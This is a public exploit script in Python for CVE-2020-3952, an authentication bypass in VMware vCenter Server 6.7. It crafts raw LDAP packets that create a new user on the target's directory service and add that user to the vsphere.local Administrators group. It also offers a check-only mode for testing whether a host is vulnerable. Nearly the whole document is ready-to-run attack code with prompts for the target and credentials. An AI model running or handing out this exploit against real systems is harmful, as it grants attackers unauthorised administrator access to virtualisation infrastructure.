VMware vCenter Server 6.7 Authentication Bypass

# Exploit Title: VMware vCenter Server 6.7 - Authentication Bypass
# Date: 2020-06-01
# Exploit Author: Photubias
# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2020-0006.html
# Version: vCenter Server 6.7 before update 3f
# Tested on: vCenter Server Appliance 6.7 RTM (updated from v6.0)
# CVE: CVE-2020-3952

#!/usr/bin/env python3

'''
Copyright 2020 Photubias(c)        
        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.
        
        Based (and reverse engineerd from): https://github.com/guardicore/vmware_vcenter_cve_2020_3952
        
        File name CVE-2020-3592.py
        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
        
        ## Vulnerable setup (requirements): vCenter Server 6.7 that was upgraded from 6.x
        
        This is a native implementation without requirements, written in Python 3.
        Works equally well on Windows as Linux (as MacOS, probably ;-)

        Features: exploit + vulnerability checker
'''

import binascii, socket, sys, string, random

## Default vars; change at will
_sIP = '192.168.50.35'
_iPORT = 389
_iTIMEOUT = 5

def randomString(iStringLength=8):
    #sLetters = string.ascii_lowercase
    sLetters = string.ascii_letters
    return ''.join(random.choice(sLetters) for i in range(iStringLength))

def getLengthPrefix(sData, sPrefix, hexBytes=1): ## sData is hexlified
    ## This will calculate the length of the string, and verify if an additional '81' or '82' prefix is needed
    sReturn = sPrefix
    if (len(sData) / 2 ) > 255:
        sReturn  += b'82'
        hexBytes = 2
    elif (len(sData) /2 ) >= 128:
        sReturn += b'81'
    sReturn += f"{int(len(sData)/2):#0{(hexBytes*2)+2}x}"[2:].encode()
    return sReturn

def buildBindRequestPacket(sUser, sPass):
    sUser = binascii.hexlify(sUser.encode())
    sPass = binascii.hexlify(sPass.encode())
    ## Packet Construction
    sPacket = getLengthPrefix(sPass, b'80') + sPass
    sPacket = getLengthPrefix(sUser, b'04') + sUser + sPacket
    sPacket = b'020103' + sPacket
    sPacket = getLengthPrefix(sPacket, b'60') + sPacket
    sPacket = b'020101' + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    #print(sPacket)
    return binascii.unhexlify(sPacket)    

def buildUserCreatePacket(sUser, sPass):
    sUser = binascii.hexlify(sUser.encode())
    sPass = binascii.hexlify(sPass.encode())
    def createAttribute(sName, sValue):
        sValue = getLengthPrefix(sValue, b'04') + sValue
        sName = getLengthPrefix(sName, b'04') + sName
        
        sReturn = getLengthPrefix(sValue, b'31') + sValue
        sReturn = sName + sReturn
        sReturn = getLengthPrefix(sReturn, b'30') + sReturn
        return sReturn
    
    def createObjectClass():
        sReturn = getLengthPrefix(binascii.hexlify(b'top'), b'04') + binascii.hexlify(b'top')
        sReturn += getLengthPrefix(binascii.hexlify(b'person'), b'04') + binascii.hexlify(b'person')
        sReturn += getLengthPrefix(binascii.hexlify(b'organizationalPerson'), b'04') + binascii.hexlify(b'organizationalPerson')
        sReturn += getLengthPrefix(binascii.hexlify(b'user'), b'04') + binascii.hexlify(b'user')
        
        sReturn = getLengthPrefix(sReturn, b'31') + sReturn
        sReturn = getLengthPrefix(binascii.hexlify(b'objectClass'), b'04') + binascii.hexlify(b'objectClass') + sReturn
        sReturn = getLengthPrefix(sReturn, b'30') + sReturn
        return sReturn
    
    ## Attributes
    sAttributes = createAttribute(binascii.hexlify(b'vmwPasswordNeverExpires'), binascii.hexlify(b'True'))
    sAttributes += createAttribute(binascii.hexlify(b'userPrincipalName'), sUser + binascii.hexlify(b'@VSPHERE.LOCAL'))
    sAttributes += createAttribute(binascii.hexlify(b'sAMAccountName'), sUser)
    sAttributes += createAttribute(binascii.hexlify(b'givenName'), sUser)
    sAttributes += createAttribute(binascii.hexlify(b'sn'), binascii.hexlify(b'vsphere.local'))
    sAttributes += createAttribute(binascii.hexlify(b'cn'), sUser)
    sAttributes += createAttribute(binascii.hexlify(b'uid'), sUser)
    sAttributes += createObjectClass()
    sAttributes += createAttribute(binascii.hexlify(b'userPassword'), sPass)
    ## CN
    sCN = binascii.hexlify(b'cn=') + sUser + binascii.hexlify(b',cn=Users,dc=vsphere,dc=local')
    sUserEntry = getLengthPrefix(sCN, b'04') + sCN
    
    ## Packet Assembly (bottom up)
    sPacket = getLengthPrefix(sAttributes, b'30') + sAttributes
    sPacket = sUserEntry + sPacket
    sPacket = getLengthPrefix(sPacket, b'02010268', 2) + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    #print(sPacket)
    return binascii.unhexlify(sPacket)

def buildModifyUserPacket(sUser):
    sFQDN = binascii.hexlify(('cn=' + sUser + ',cn=Users,dc=vsphere,dc=local').encode())
    sCN = binascii.hexlify(b'cn=Administrators,cn=Builtin,dc=vsphere,dc=local')
    sMember = binascii.hexlify(b'member')
    ## Packet Construction
    sPacket = getLengthPrefix(sFQDN, b'04') + sFQDN
    sPacket = getLengthPrefix(sPacket, b'31') + sPacket
    sPacket = getLengthPrefix(sMember, b'04') + sMember + sPacket
    sPacket = getLengthPrefix(sPacket, b'0a010030') + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    sPacket = getLengthPrefix(sCN, b'04') + sCN + sPacket
    sPacket = getLengthPrefix(sPacket, b'02010366') + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    #print(sPacket)
    return binascii.unhexlify(sPacket)

def performBind(s):
    ## Trying to bind, fails, but necessary (even fails when using correct credentials)
    dPacket = buildBindRequestPacket('[email protected]','www.IC4.be')
    s.send(dPacket)
    sResponse = s.recv(1024)
    try:
        sResponse = sResponse.split(b'\x04\x00')[0][-1:]
        sCode = binascii.hexlify(sResponse).decode()
        if sCode == '31': print('[+] Ok, service reachable, continuing')
        else: print('[-] Something went wrong')
    except:
        pass
    return sCode

def performUserAdd(s, sUser, sPass):
    dPacket = buildUserCreatePacket(sUser,sPass)
    s.send(dPacket)
    sResponse = s.recv(1024)
    try:
        sCode = sResponse.split(b'\x04\x00')[0][-1:]
        sMessage = sResponse.split(b'\x04\x00')[1]
        if sCode == b'\x00':
            print('[+] Success! User ' + sUser + '@vsphere.local added with password ' + sPass)
        elif sCode == b'\x32':
            print('[-] Error, this host is not vulnerable (insufficientAccessRights)')
        else:
            if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
            else: sMessage = sMessage[2:].decode()
            print('[-] Error, user not added, message received: ' + sMessage)
    except:
        pass
    return sCode
    

def performUserMod(s, sUser, verbose = True):
    dPacket = buildModifyUserPacket(sUser)
    s.send(dPacket)
    sResponse = s.recv(1024)
    try:
        sCode = sResponse.split(b'\x04\x00')[0][-1:]
        sMessage = sResponse.split(b'\x04\x00')[1]
        if sCode == b'\x00':
            if verbose: print('[+] User modification success (if the above is OK).')
        else:
            if sMessage[2] == b'81': sMessage = sMessage[3:].decode()
            else: sMessage = sMessage[2:].decode()
            if verbose: print('[-] Error during modification, message received: ' + sMessage)
    except:
        pass
    return sCode, sMessage

def performUnbind(s):
    try: s.send(b'\x30\x05\x02\x01\x04\x42\x00')
    except: pass

def main():
    global _sIP, _iPORT, _iTIMEOUT
    _sUSER = 'user_' + randomString(6)
    _sPASS = randomString(8) + '_2020'
    bAdduser = False
    if len(sys.argv) == 1:
        print('[!] No arguments found: python3 CVE-2020-3592.py <dstIP> [<newUsername>] [<newPassword>]')
        print('    Example: ./CVE-2020-3592.py ' + _sIP + ' ' + _sUSER + ' ' + _sPASS)
        print('    Leave username & password empty for a vulnerability check')
        print('    Watch out for vCenter/LDAP password requirements, leave empty for random password')
        print('    But for now, I will ask questions')
        sAnswer = input('[?] Please enter the vCenter IP address [' + _sIP + ']: ')
        if not sAnswer == '': _sIP = sAnswer
        sAnswer = input('[?] Want to perform a check only? [Y/n]: ')
        if sAnswer.lower() == 'n': bAdduser = True
        if bAdduser:
            sAnswer = input('[?] Please enter the new username to add [' + _sUSER + ']: ')
            if not sAnswer == '': _sUSER = sAnswer
            sAnswer = input('[?] Please enter the new password for this user [' + _sPASS + ']: ')
            if not sAnswer == '': _sPASS = sAnswer
    else:
        _sIP = sys.argv[1]
        if len(sys.argv) >= 3:
            _sUSER = sys.argv[2]
            bAdduser = True
        if len(sys.argv) >= 4: _sPASS = sys.argv[3]

    ## MAIN
    print('')
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(_iTIMEOUT)
    try:
        s.connect((_sIP,_iPORT))
    except:
        print('[-] Error: Host ' + _sIP + ':' + str(_iPORT) + ' not reachable')
        sys.exit(1)

    performBind(s)

    if bAdduser:
        sCode = performUserAdd(s, _sUSER, _sPASS)

    if not bAdduser:
        print('[!] Checking vulnerability')
        sCode, sMessage = performUserMod(s, 'Administrator', False)
        if sCode == b'\x32': print('[-] This host is not vulnerable, message: ' + sMessage)
        else: print('[+] This host is vulnerable!')
    else:
        sCode = performUserMod(s, _sUSER)
    
    performUnbind(s)
    
    s.close()


if __name__ == "__main__":
    main()

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